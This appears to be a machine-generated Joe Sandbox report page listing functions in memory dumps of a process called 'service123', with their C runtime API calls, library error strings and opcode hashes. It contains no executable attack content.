Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 7118f199aca9bda872a9f066d4d2f0c5f0939fc9cd3f83570954fc8ac8eae853
Instruction ID: 04e2fc64960d9085444c2671413ee88bdd625250d4d356b55f012e364f51d51f
Opcode Fuzzy Hash: 7118f199aca9bda872a9f066d4d2f0c5f0939fc9cd3f83570954fc8ac8eae853
Instruction Fuzzy Hash: 2961E5B4609709DFC714DF29D28461ABBE0BFD9754F14C92DE4AA8B760E730E844CB52

Function 6C840970 Relevance: 10.2, APIs: 8, Instructions: 150COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000,?,6C7D92A3,00000003), ref: 6C8409ED
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000,?,6C7D92A3,00000003), ref: 6C840A2C

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 8eeda5daa0903fc6a0a1b83168d6405fc1266b630737f5cb9a0f8ae4aa89840c
Instruction ID: 1cf59685efc87ffd77821ed860c62bc755da4ff1c42e04fde655e7bc4f0a9367
Opcode Fuzzy Hash: 8eeda5daa0903fc6a0a1b83168d6405fc1266b630737f5cb9a0f8ae4aa89840c
Instruction Fuzzy Hash: 4261B2B450974ACFC714DF19C29061AFBE0BFA9754F10C92EE8A98B761D730E845CB52

Function 6C842B90 Relevance: 9.2, APIs: 2, Strings: 4, Instructions: 232COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?,6C83736E), ref: 6C842C03

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C842D14, 6C842D71, 6C842DD6
string::string, xrefs: 6C842DCE
basic_string::_M_create, xrefs: 6C842C1A, 6C842CBA
basic_string::basic_string, xrefs: 6C842D0C, 6C842D69

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_create$basic_string::basic_string$string::string
API String ID: 3510742995-126128797
Opcode ID: f46d8d2c1624faf9890fa4c8f81378d9288d912828372123667829995c6bc070
Instruction ID: 38b9825c65ae1dccd16cc489e0f26965110df244d028a50e23d8a53d101893a3
Opcode Fuzzy Hash: f46d8d2c1624faf9890fa4c8f81378d9288d912828372123667829995c6bc070
Instruction Fuzzy Hash: 4F715DB29093508FC310DF6CD58064AFBE1BF99218F55CEAEE8889B756D335C845CB92

Function 6C7AEB70 Relevance: 9.2, APIs: 6, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ff8390f7064b2eec1ab42af84fa55342ea2eed4810115e48aac89551600db43
Instruction ID: 917f00cf8fdfff52cbcffd61c5f1d5f02e56b71c13c4fc987e21a567f064da71
Opcode Fuzzy Hash: 9ff8390f7064b2eec1ab42af84fa55342ea2eed4810115e48aac89551600db43
Instruction Fuzzy Hash: 7C61AE3160930C8FD714CF99C69465AF7E1AF89308F448B2EE8989BB44E730D9578B96

Function 6C7BB060 Relevance: 9.1, APIs: 6, Instructions: 145COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6C7BAF3F), ref: 6C875FF0
abort.MSVCRT(?,?,?,?,?,?,6C7BAE9C,?,?,?,?,?,?,6C876040), ref: 6C875FF8
abort.MSVCRT(?,?,?,?,?,?,6C7BAE9C,?,?,?,?,?,?,6C876040), ref: 6C876000
abort.MSVCRT(?,?,?,?,?,?,6C7BAE9C,?,?,?,?,?,?,6C876040), ref: 6C876008

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 66cc7798edcb99dc6b1a104b95e380fd058bacaaad82efa30426adadb9e2f5f6
Instruction ID: eb1fe633318bee661d2a497249984797a0da1d8b6509d7dfad555a7573740e7b
Opcode Fuzzy Hash: 66cc7798edcb99dc6b1a104b95e380fd058bacaaad82efa30426adadb9e2f5f6
Instruction Fuzzy Hash: 264106716053148BCB20AF78C6C92AEB7A1FF82318F144C7DD494ABB14E7329849C7A2

Function 6C7A1020 Relevance: 9.1, APIs: 6, Instructions: 100sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,6C7A1281,?,?,?,?,?,?,6C7A13AE), ref: 6C7A1057
_amsg_exit.MSVCRT ref: 6C7A1086

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: Sleep_amsg_exit
String ID:
API String ID: 1015461914-0
Opcode ID: 86a2f298e3b59b7836bd8c487c26a22a12b5af91c127fbbdb6731f6c8e15da6c
Instruction ID: b5073200e0b9b4619feae002aa38d6672048b717aee82cf95f58d6f3c873c417
Opcode Fuzzy Hash: 86a2f298e3b59b7836bd8c487c26a22a12b5af91c127fbbdb6731f6c8e15da6c
Instruction Fuzzy Hash: 42319A71309240CBEB109FABC78535B77F0EB82388F508A38D5948BA40D635C98ACBD2

Function 6C7C1F00 Relevance: 9.0, APIs: 6, Instructions: 50stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6C7C1F18
strlen.MSVCRT ref: 6C7C1F22
memcpy.MSVCRT ref: 6C7C1F3F
setlocale.MSVCRT ref: 6C7C1F52
wcsftime.MSVCRT ref: 6C7C1F76
setlocale.MSVCRT ref: 6C7C1F88

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: setlocale$memcpystrlenwcsftime
String ID:
API String ID: 3412479102-0
Opcode ID: 424b18269c9568b601aa084ce7b792cc48ee0dbfdd54ac89f4617c58107e666f
Instruction ID: d50a45f3ec55f50c21bd1f710f73ab31511530b98fa34da47d6300a60c1460b9
Opcode Fuzzy Hash: 424b18269c9568b601aa084ce7b792cc48ee0dbfdd54ac89f4617c58107e666f
Instruction Fuzzy Hash: E81192B0A09710AFC740AF69C68865EBBF4BFA9754F418C2DE4D897710E7789844CB92

Function 6C7C1C50 Relevance: 9.0, APIs: 6, Instructions: 49stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6C7C1C68
strlen.MSVCRT ref: 6C7C1C72
memcpy.MSVCRT ref: 6C7C1C8F
setlocale.MSVCRT ref: 6C7C1CA2
strftime.MSVCRT ref: 6C7C1CC6
setlocale.MSVCRT ref: 6C7C1CD8

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: setlocale$memcpystrftimestrlen
String ID:
API String ID: 1843691881-0
Opcode ID: 6c6be702ecd5bb5de11d644345ab9c433beb98d3ffe32bd8be6ea1cefaf23c18
Instruction ID: 27bbd5ef498a464e8f6f1c3e1e3d4c565d19dcb490f473623cfc1e3e935c3792
Opcode Fuzzy Hash: 6c6be702ecd5bb5de11d644345ab9c433beb98d3ffe32bd8be6ea1cefaf23c18
Instruction Fuzzy Hash: BA11C2B0509310AFC340AF68C68875EBBF4BFA5644F418C2DE8D897701E778D844CB92

Function 6C7AED31 Relevance: 9.0, APIs: 6, Instructions: 19COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 43ff2732fdef0f94484c1c8e9571a78a07aad364bf0272b15e68b5917b8ab3da
Instruction ID: f4c6dd079787ff452ef8b70bbca93536cfc1c16e664d30a9c357e501c63825c6
Opcode Fuzzy Hash: 43ff2732fdef0f94484c1c8e9571a78a07aad364bf0272b15e68b5917b8ab3da
Instruction Fuzzy Hash: 7EB01231CC917CC6C6305DFC43593DAB65DA723384F000E1BC16673C08C623A0438156

Function 6C7BE0D0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 130windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 6C7BE117
LocalFree.KERNEL32 ref: 6C7BE14B

Strings

basic_string: construction from null is not valid, xrefs: 6C7BE1A7
Unknown error code, xrefs: 6C7BE18C

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: FormatFreeLocalMessage
String ID: Unknown error code$basic_string: construction from null is not valid
API String ID: 1427518018-3299438129
Opcode ID: 9cce1429f89c2893c643b17737385a964a5cec8bad7b6b03efe0ac4ceae65a4b
Instruction ID: 5667ec0703ae229daaf090dd970b200bcb0d41a22bf099d687ad706497f1fb7c
Opcode Fuzzy Hash: 9cce1429f89c2893c643b17737385a964a5cec8bad7b6b03efe0ac4ceae65a4b
Instruction Fuzzy Hash: 69416AB19057089BCB20AF68C68929EFBF4FF85754F408C2CE48497B10E33495498BE3

Function 00482F89 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 00482E97
fputc.MSVCRT ref: 00482F07
memset.MSVCRT ref: 00482FC2

Strings

0, xrefs: 00482FB7
o, xrefs: 00482FCA

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID: fputc$memset
String ID: 0$o
API String ID: 2944404495-4157579757
Opcode ID: 448672419a6aefb592f870ea4cfb86913ff9ea238fa630640188f8821d0f5d8b
Instruction ID: 3ad28d3847750cc793c9748cb02f9f1fcde2a24fdbeef7ded7ebd395264ef704
Opcode Fuzzy Hash: 448672419a6aefb592f870ea4cfb86913ff9ea238fa630640188f8821d0f5d8b
Instruction Fuzzy Hash: 91316871A04205CFCB10EF68C2847AEBBF1BF59310F15892AD999AB742D37CA901CB58

Function 6C7B3659 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 6C7B3567
fputc.MSVCRT ref: 6C7B35D7
memset.MSVCRT ref: 6C7B3692

Strings

0, xrefs: 6C7B3687
o, xrefs: 6C7B369A

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: fputc$memset
String ID: 0$o
API String ID: 2944404495-4157579757
Opcode ID: 4e5d1ba6c8a4e8df9e646095398d9879c6dbcde4af08328c22bcc6dcc1e4ca11
Instruction ID: 00861c092971740e0f9cdaa3645307971b77ad37045e8b09f324239e90884ab2
Opcode Fuzzy Hash: 4e5d1ba6c8a4e8df9e646095398d9879c6dbcde4af08328c22bcc6dcc1e4ca11
Instruction Fuzzy Hash: 4D314A71A087158BCB00CF69C2C47AAB7F1BF48314F158629D995BBB41EB38E885CB50

Function 6C7A9490 Relevance: 7.9, APIs: 4, Strings: 1, Instructions: 375stringCOMMON

Download Yara Rule

APIs

strncmp.MSVCRT ref: 6C7A94C2
strlen.MSVCRT ref: 6C7A9616

Strings

_GLOBAL_, xrefs: 6C7A94B7

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlenstrncmp
String ID: _GLOBAL_
API String ID: 1310274236-770460502
Opcode ID: 29ce833622232c3b3691fe43efe7a93e543fa8590a36a34072c830c337558c9b
Instruction ID: 363b5d29bda9d306330e990d3a6c86cf0286871ae150a6060ee0c90152603dc1
Opcode Fuzzy Hash: 29ce833622232c3b3691fe43efe7a93e543fa8590a36a34072c830c337558c9b
Instruction Fuzzy Hash: FDF1B170D052188FEB10CFA9C9943DDBBF1AF56308F1442EAC458AB745D7769A9ACF80

Function 6C81DAB0 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 229COMMON

Download Yara Rule

APIs

Part of subcall function 6C83F8C0: memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C81DA2E), ref: 6C83F95D
Part of subcall function 6C83F8C0: memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C81DA2E), ref: 6C83F988

memcpy.MSVCRT ref: 6C81DCB5

Part of subcall function 6C842530: memcpy.MSVCRT(?,-00000001,?,6C7C749E,?,?,?,?,?,?,?,?,?,?,?,6C7C8E25), ref: 6C84256C

Strings

basic_string::append, xrefs: 6C81DDB2, 6C81DDBE
iostream error, xrefs: 6C81DD08
Unknown error, xrefs: 6C81DB08

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memcpy$memmove
String ID: Unknown error$basic_string::append$iostream error
API String ID: 1283327689-1474074352
Opcode ID: 75fb2a1a9c2bcf199af6a2d377fddf36a1037d1ee31c72b6fe930fdf134f4019
Instruction ID: b54b16808c658af0e38fdcc01cecff8424c9608e6589ac68bafab5a03f1708d8
Opcode Fuzzy Hash: 75fb2a1a9c2bcf199af6a2d377fddf36a1037d1ee31c72b6fe930fdf134f4019
Instruction Fuzzy Hash: 9EA12671D08319CBCB20DFA8C68469DBBF1BF45314F21892ED895ABB50E730A945CF82

Function 6C80BF60 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 216COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C80C03F
memcpy.MSVCRT ref: 6C80C099
memcpy.MSVCRT ref: 6C80C127

Part of subcall function 6C80C500: memcpy.MSVCRT ref: 6C80C58C

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C80C1B3
basic_string::replace, xrefs: 6C80C194, 6C80C1A7

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::replace
API String ID: 3510742995-3564965661
Opcode ID: 6a310783c7e515fbcbda942cdeccdcf988615d45491f64d46a083bdbde58f232
Instruction ID: 7042aef36bffcb8adbf32acc363a1a36ce221f7fd2d1bc8fb8a7646938c25565
Opcode Fuzzy Hash: 6a310783c7e515fbcbda942cdeccdcf988615d45491f64d46a083bdbde58f232
Instruction Fuzzy Hash: EC813771A056159FCB10EF2CCA8069EBBF1FF88714F11892DE89897711E731D944CBA2

Function 6C815000 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 205COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C8150D0
memcpy.MSVCRT ref: 6C815124
memcpy.MSVCRT ref: 6C8151B8

Part of subcall function 6C815590: memcpy.MSVCRT ref: 6C815620

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C815248
basic_string::replace, xrefs: 6C815229, 6C81523C

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::replace
API String ID: 3510742995-3564965661
Opcode ID: 4505b94c9d5c9f5ff1a93d91281cf022dd7b3d005c831c663e54f63fed7b7a65
Instruction ID: 21991effb0a53fa70c6b6f60289c7f981eb2526d7783e2004d61e65dc97fb130
Opcode Fuzzy Hash: 4505b94c9d5c9f5ff1a93d91281cf022dd7b3d005c831c663e54f63fed7b7a65
Instruction Fuzzy Hash: 5D814771A093069FCB10DF6CC68459EBBF1AF89354F50892EE899D7B10E331D944CB92

Function 6C81D810 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 153stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C83F8C0: memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C81DA2E), ref: 6C83F95D
Part of subcall function 6C83F8C0: memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C81DA2E), ref: 6C83F988

strlen.MSVCRT ref: 6C81D8E5
memcpy.MSVCRT ref: 6C81D9BE

Strings

iostream error, xrefs: 6C81DA12
Unknown error, xrefs: 6C81D85E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

